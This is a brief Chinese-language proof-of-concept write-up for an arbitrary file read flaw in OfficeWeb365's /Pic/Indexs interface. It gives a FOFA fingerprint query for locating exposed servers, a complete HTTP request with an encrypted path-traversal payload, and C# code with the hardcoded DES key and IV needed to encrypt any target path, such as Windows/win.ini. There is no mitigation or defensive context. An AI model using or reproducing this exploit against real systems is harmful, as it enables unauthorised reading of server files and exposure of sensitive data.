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OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞,攻击者可通过独特的加密方式对payload进行加密,读取任意文件,获取服务器敏感信息,使系统处于极不安全的状态。
FOFA:body="请输入furl参数" || header="OfficeWeb365" || banner="OfficeWeb365"
GET /Pic/Indexs?imgs=DJwkiEm6KXJZ7aEiGyN4Cz83Kn1PLaKA09 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
DNT: 1
Upgrade-Insecure-Requests: 1
读取文件加密方式
Enc("/../../Windows/win.ini"); static string Enc(string plainText) { // 定义 DES 算法的密钥和初始化向量 byte[] Keys = new byte[] { 102, 16, 93, 156, 78, 4, 218, 32 }; byte[] Iv = new byte[] { 55, 103, 246, 79, 36, 99, 167, 3 }; // 将明文转换为字节数组 byte[] plainBytes = Encoding.UTF8.GetBytes(plainText); // 创建 DES 加密服务提供程序,并设置密钥和初始化向量 DESCryptoServiceProvider desCryptoServiceProvider = new DESCryptoServiceProvider { Key = Keys, IV = Iv }; // 创建内存流以存储加密后的数据 MemoryStream memoryStream = new MemoryStream(); // 创建 DES 加密器 ICryptoTransform transform = desCryptoServiceProvider.CreateEncryptor(); // 使用 CryptoStream 执行加密 using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write)) { cryptoStream.Write(plainBytes, 0, plainBytes.Length); cryptoStream.FlushFinalBlock(); } // 将加密后的数据转换为 Base64 字符串 string encryptedText = Convert.ToBase64String(memoryStream.ToArray()); return encryptedText+"09"; }
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